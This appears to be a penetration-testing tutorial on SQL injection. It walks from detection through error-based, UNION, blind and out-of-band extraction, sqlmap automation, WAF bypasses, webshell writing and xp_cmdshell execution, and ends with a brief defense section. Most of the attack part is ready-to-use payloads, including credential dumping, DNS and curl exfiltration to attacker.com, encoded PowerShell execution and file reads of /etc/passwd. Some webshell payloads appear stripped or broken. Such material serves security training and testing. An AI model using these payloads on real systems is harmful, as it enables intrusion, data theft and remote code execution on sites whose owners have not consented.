SQL injection remains one of the most critical and widespread vulnerabilities in web applications despite being well-understood for over two decades. According to OWASP, injection flaws consistently rank in the top three most dangerous web application security risks. A successful SQL injection attack can result in authentication bypass, complete data exfiltration, data manipulation, and in certain configurations, remote code execution on the underlying operating system. This guide covers the full attack chain from initial detection through to total database compromise.
Understanding the Vulnerability
SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitization or parameterization. The database engine cannot distinguish between the intended query structure and attacker-injected SQL code. Consider this vulnerable PHP snippet:
// VULNERABLE — never do this
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
When an attacker supplies ' OR '1'='1 as the username, the resulting query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1'
The condition '1'='1' is always true, returning all user records. This simple example barely scratches the surface of what's possible.
Phase 1: Manual Detection
Before automating, understanding manual detection techniques is essential for every penetration tester. The goal is to cause abnormal application behavior by breaking the expected SQL syntax.
String-Based Injection Points
Test every parameter — GET, POST, cookies, HTTP headers (User-Agent, Referer, X-Forwarded-For). Start with a single quote to break string context:
https://target.com/items?id=1'
https://target.com/items?id=1''
https://target.com/items?id=1`
https://target.com/items?id=1\
Observe the response carefully. Look for:
- Database error messages (MySQL, MSSQL, ORA-, PostgreSQL syntax errors)
- Blank page or partial content where full content was expected
- HTTP 500 errors
- Behavioral differences between
1'(error) and1''(normal)
Numeric Injection Points
For numeric parameters, arithmetic expressions confirm injection:
id=1 AND 1=1 -- true condition, same response as id=1
id=1 AND 1=2 -- false condition, different/empty response
id=1+1 -- evaluates to id=2 if injectable
id=2-1 -- evaluates to id=1
id=10/2 -- evaluates to id=5
Comment Syntax by Database
| Database | Inline Comment | Line Comment |
|---|---|---|
| MySQL | /* comment */ | -- - or # |
| MSSQL | /* comment */ | -- |
| Oracle | /* comment */ | -- |
| PostgreSQL | /* comment */ | -- |
| SQLite | /* comment */ | -- |
Phase 2: Error-Based SQL Injection
Error-based injection exploits verbose database error messages to extract data directly. This is the fastest technique when errors are visible in the response.
MySQL Error-Based Techniques
The extractvalue() and updatexml() functions generate errors that include query results:
-- Extract database version
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -
-- Extract current database name
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -
-- Extract first table name from information_schema
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e))-- -
-- Using updatexml()
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -
These produce errors like: XPATH syntax error: '~root@localhost~' — the value between the tildes is your extracted data.
MSSQL Error-Based
-- Convert error to extract data
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
-- Error: Conversion failed when converting the nvarchar value 'users' to data type int.
-- Using CAST
' AND 1=CAST((SELECT TOP 1 username FROM users) AS int)--
Phase 3: UNION-Based SQL Injection
UNION-based injection allows appending a second SELECT statement to the original query, returning data in the application's normal output. This is only possible when results are displayed to the user.
Step 1 — Determine Column Count
Two methods to identify the number of columns:
-- Method 1: ORDER BY (increment until error)
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - -- if this errors, there are 2 columns
-- Method 2: UNION SELECT with NULLs (increment until success)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Step 2 — Find Displayable Columns
Replace NULLs with string values to identify which columns appear in output:
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
' UNION SELECT NULL,NULL,'a'-- -
Step 3 — Extract Data
-- Database fingerprinting
' UNION SELECT @@version,NULL,NULL-- - -- MySQL/MSSQL
' UNION SELECT version(),NULL,NULL-- - -- PostgreSQL
' UNION SELECT banner,NULL,NULL FROM v$version-- -- Oracle
-- Extract all databases (MySQL)
' UNION SELECT group_concat(schema_name),NULL,NULL FROM information_schema.schemata-- -
-- Extract tables
' UNION SELECT group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
-- Extract columns from users table
' UNION SELECT group_concat(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
-- Extract credentials
' UNION SELECT group_concat(username,':',password SEPARATOR '\n'),NULL,NULL FROM users-- -
group_concat() in MySQL to collapse multiple rows into a single result. The default separator is a comma; use SEPARATOR '\n' for readability. The default max length is 1024 bytes — use LIMIT and OFFSET for large datasets.Dealing with WAF Filtering on UNION
WAFs commonly block the literal string UNION SELECT. Common bypass techniques:
-- Case variation
uNiOn SeLeCt
-- Comment insertion
UNION/**/SELECT
UNION%09SELECT -- tab character
UNION%0ASELECT -- newline
-- Double keyword (some filters strip once)
UNUNIONION SELSELECTECT
-- URL encoding
%55NION %53ELECT
-- Null bytes
UNION%00SELECT
Phase 4: Blind SQL Injection
When the application returns no data and no errors, blind injection is required. You infer data by asking true/false questions and observing application behavior.
Boolean-Based Blind
Craft payloads where true and false conditions produce distinguishably different responses:
-- Is the database version greater than 5?
' AND (SELECT SUBSTRING(version(),1,1))='5'-- - -- true: normal page
' AND (SELECT SUBSTRING(version(),1,1))='4'-- - -- false: different page
-- Extract data character by character
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'-- -
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='b'-- -
... continue until response matches true
-- Binary search approach (faster)
' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 77-- -
' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 90-- -
' AND ASCII(SUBSTRING((SELECT database()),1,1)) = 84-- - -- 'T'
Time-Based Blind
When there is absolutely no response difference, time-based techniques introduce deliberate delays:
-- MySQL: SLEEP()
' AND SLEEP(5)-- - -- always delays 5 seconds
' AND IF(1=1,SLEEP(5),0)-- - -- conditional delay
' AND IF((SELECT SUBSTRING(database(),1,1))='s',SLEEP(5),0)-- -
-- MSSQL: WAITFOR DELAY
'; WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--
-- PostgreSQL: pg_sleep()
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- Oracle: heavy query (no sleep function)
' AND 1=(SELECT COUNT(*) FROM all_objects t1, all_objects t2, all_objects t3)--
Phase 5: Out-of-Band (OOB) SQL Injection
OOB injection exfiltrates data via DNS or HTTP requests to an attacker-controlled server. This is useful when responses are filtered or asynchronous. Requires the database to have outbound network access.
MySQL DNS Exfiltration
-- Using LOAD_FILE with UNC path (Windows, requires FILE privilege)
' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\x'))-- -
-- Using INTO OUTFILE to trigger DNS (with secure_file_priv disabled)
' UNION SELECT load_file(concat(0x5c5c5c5c,(select hex(database())),0x2e6174746163
6b65722e636f6d5c5c6661696c))-- -
MSSQL OOB via DNS
-- Using xp_cmdshell (if enabled)
'; exec master..xp_cmdshell 'nslookup '+(SELECT TOP 1 username FROM users)+'.attacker.com'--
-- Using OpenRowset
'; declare @q varchar(200); set @q='\\'+
(SELECT TOP 1 table_name FROM information_schema.tables)+'.attacker.com\x';
exec xp_dirtree @q--
Use Burp Collaborator or interactsh (interactsh-client) to receive and log the DNS/HTTP callbacks:
interactsh-client -v
Phase 6: sqlmap — Automated Exploitation
sqlmap is the industry-standard tool for automated SQL injection detection and exploitation. Understanding its options is critical for efficient testing.
Basic Usage
# Simple GET parameter test
sqlmap -u "https://target.com/item?id=1" --dbs
# POST parameter
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --dbs
# Cookie injection
sqlmap -u "https://target.com/profile" --cookie="session=abc123; userid=1" -p userid --dbs
# Custom headers
sqlmap -u "https://target.com/api" --headers="X-Api-Key: test\nAuthorization: Bearer token" --dbs
# From a saved Burp request file
sqlmap -r request.txt --dbs
Enumeration Commands
# List databases
sqlmap -u "https://target.com/item?id=1" --dbs
# List tables in a specific database
sqlmap -u "https://target.com/item?id=1" -D targetdb --tables
# List columns in a specific table
sqlmap -u "https://target.com/item?id=1" -D targetdb -T users --columns
# Dump a specific table
sqlmap -u "https://target.com/item?id=1" -D targetdb -T users --dump
# Dump specific columns
sqlmap -u "https://target.com/item?id=1" -D targetdb -T users -C username,password --dump
# Dump all databases (use carefully)
sqlmap -u "https://target.com/item?id=1" --dump-all --exclude-sysdbs
Advanced sqlmap Options
# Specify technique (B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline)
sqlmap -u "https://target.com/item?id=1" --technique=BEU
# Set injection level (1-5) and risk (1-3)
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3
# Specify DBMS to skip detection
sqlmap -u "https://target.com/item?id=1" --dbms=mysql
# Threading for speed
sqlmap -u "https://target.com/item?id=1" --threads=10
# OS shell (if FILE privilege and writable directory)
sqlmap -u "https://target.com/item?id=1" --os-shell
# SQL shell
sqlmap -u "https://target.com/item?id=1" --sql-shell
# Check for DBA privileges
sqlmap -u "https://target.com/item?id=1" --is-dba
# Crack found password hashes
sqlmap -u "https://target.com/item?id=1" -D targetdb -T users --dump --passwords
# Tor anonymization
sqlmap -u "https://target.com/item?id=1" --tor --tor-type=SOCKS5 --check-tor
Phase 7: WAF Bypass Techniques
Modern WAFs (Cloudflare, ModSecurity, Imperva) use signature-based and behavioral detection to block SQLi. Bypassing them requires creativity and persistence.
sqlmap Tamper Scripts
sqlmap includes 50+ tamper scripts that transform payloads to evade detection:
# Space to comment (evades space detection)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment
# URL double-encode
sqlmap -u "https://target.com/item?id=1" --tamper=charunicodeencode
# Multiple tampers chained
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase,charencode
# MySQL-specific tampers
sqlmap -u "https://target.com/item?id=1" --tamper=equaltolike,space2dash,versionedmorekeywords
# Useful tamper scripts:
# between — replaces > with BETWEEN
# charencode — URL encodes
# charunicodeencode — unicode encodes
# equaltolike — replaces = with LIKE
# greatest — replaces > with GREATEST()
# ifnull2ifisnull — replaces IFNULL with IF(ISNULL())
# randomcase — random case mutation
# space2comment — spaces to /**/
# space2dash — spaces to --\n
# space2hash — spaces to #\n (MySQL only)
# space2mssqlblank — spaces to random blank (MSSQL)
# space2plus — spaces to +
# unmagicquotes — wide char bypass of magic_quotes
# versionedkeywords — MySQL version comments /*!UNION*/
Manual WAF Bypass Payloads
-- HTTP Parameter Pollution
?id=1&id=2 UNION SELECT... -- some WAFs only check the last parameter
-- Encoding bypass
?id=1%20UNION%20SELECT%201,2,3-- -- URL encode spaces
?id=1%09UNION%09SELECT%091,2,3-- -- Tab encoding
-- Case bypass
?id=1 UniOn SeLeCt 1,2,3--
-- Comment injection
?id=1 UN/**/ION SE/**/LECT 1,2,3--
?id=1 UNION%23foo%0ASELECT 1,2,3-- -- %0A = newline, %23 = #
-- MySQL version comment bypass
?id=1 /*!UNION*/ /*!SELECT*/ 1,2,3--
?id=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
-- Scientific notation for numbers (bypasses numeric filters)
?id=1e0 UNION SELECT 1,2,3--
-- BETWEEN bypass for > operator
WHERE id BETWEEN 1 AND 1 -- equivalent to WHERE id=1
HTTP-Level Evasion
# Chunked transfer encoding
sqlmap -u "https://target.com/item?id=1" --chunked
# Change Content-Type
# application/json bodies sometimes bypass WAF rules tuned for form data
# Custom User-Agent (some WAFs block default sqlmap UA)
sqlmap -u "https://target.com/item?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# Randomize headers
sqlmap -u "https://target.com/item?id=1" --random-agent
# Add fake pipeline headers
sqlmap -u "https://target.com/item?id=1" --headers="X-Forwarded-For: 127.0.0.1"
Phase 8: Writing Webshells via INTO OUTFILE
If the MySQL user has FILE privilege, secure_file_priv is not restricting writes, and you know the web root path, you can write a PHP webshell directly to disk — achieving Remote Code Execution.
Checking Prerequisites
-- Check FILE privilege
SELECT file_priv FROM mysql.user WHERE user=user();
-- Check secure_file_priv (empty = unrestricted, NULL = disabled globally)
SHOW VARIABLES LIKE 'secure_file_priv';
-- Check current user
SELECT user();
-- Find web root via server variables or error messages
SELECT @@datadir; -- often /var/lib/mysql — web root is usually /var/www/html
Writing the Webshell
-- Simple PHP webshell via UNION
' UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'-- -
-- More functional webshell
' UNION SELECT "" INTO OUTFILE '/var/www/html/cmd.php'-- -
-- Using hex encoding to avoid quote filtering
' UNION SELECT 0x3c3f706870206563686f20736865 6c6c5f6578656328245f4745545b2763 6d64275d293b3f3e INTO OUTFILE '/var/www/html/cmd.php'-- -
-- Write to alternative paths
/var/www/html/uploads/shell.php
/var/www/wordpress/wp-content/uploads/shell.php
/usr/share/nginx/html/shell.php
C:/xampp/htdocs/shell.php
C:/inetpub/wwwroot/shell.php
sqlmap OS Shell Method
# sqlmap automates this entire process
sqlmap -u "https://target.com/item?id=1" --os-shell
# Specify web application language
sqlmap -u "https://target.com/item?id=1" --os-shell --web-root="/var/www/html"
# Read files from the server
sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
# Write files to the server
sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
secure_file_priv variable in MySQL 5.7.6+ defaults to a restricted directory, and modern Linux deployments use AppArmor/SELinux profiles that prevent MySQL from writing to web directories.Stacked Queries and Stored Procedures
Stacked queries (also called batched queries) allow execution of multiple SQL statements separated by semicolons. Not all database connectors support this — PHP's mysqli_query() does not, but PDO and MSSQL's EXEC do.
-- MSSQL stacked queries — enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--
'; EXEC xp_cmdshell 'powershell -enc BASE64ENCODEDPAYLOAD';--
-- MySQL stacked (PDO)
'; UPDATE users SET password='hacked' WHERE username='admin';-- -
-- PostgreSQL stacked
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(whoami)';--
Second-Order SQL Injection
Second-order (stored) injection occurs when malicious input is safely stored in the database but later used unsafely in a subsequent query. The initial insert may be properly escaped, but the retrieved value is trusted and used without parameterization.
-- Registration: username stored as "admin'--"
-- Login query uses username from DB directly:
SELECT * FROM users WHERE username='admin'--' AND password='...'
-- The '--' comments out the password check, bypassing authentication
Defense Recommendations
Parameterized Queries (Prepared Statements)
The only reliable defense. Never concatenate user input into SQL strings:
// SECURE PHP with PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
// SECURE with MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $userId);
$stmt->execute();
Additional Hardening
- Least privilege: Application DB user should only have SELECT/INSERT/UPDATE on needed tables. Never run as root or with FILE privilege.
- Input validation: Whitelist expected formats (integers, emails, enumerated values). Reject unexpected characters early.
- Error handling: Display generic errors to users. Log detailed errors server-side only. Never expose database type or query structure.
- WAF as defense-in-depth: Deploy a WAF (ModSecurity with OWASP CRS) but never as the sole control.
- Stored procedures: When properly implemented with parameter binding, stored procedures prevent injection.
- ORM usage: Use ORM frameworks (Eloquent, SQLAlchemy, Hibernate) that use parameterized queries by default, but be aware of raw query escape hatches.
- Regular scanning: Run sqlmap, Burp Suite active scanner, or Invicti in your CI/CD pipeline.
- Database encryption: Encrypt sensitive columns so extracted data is unusable without keys.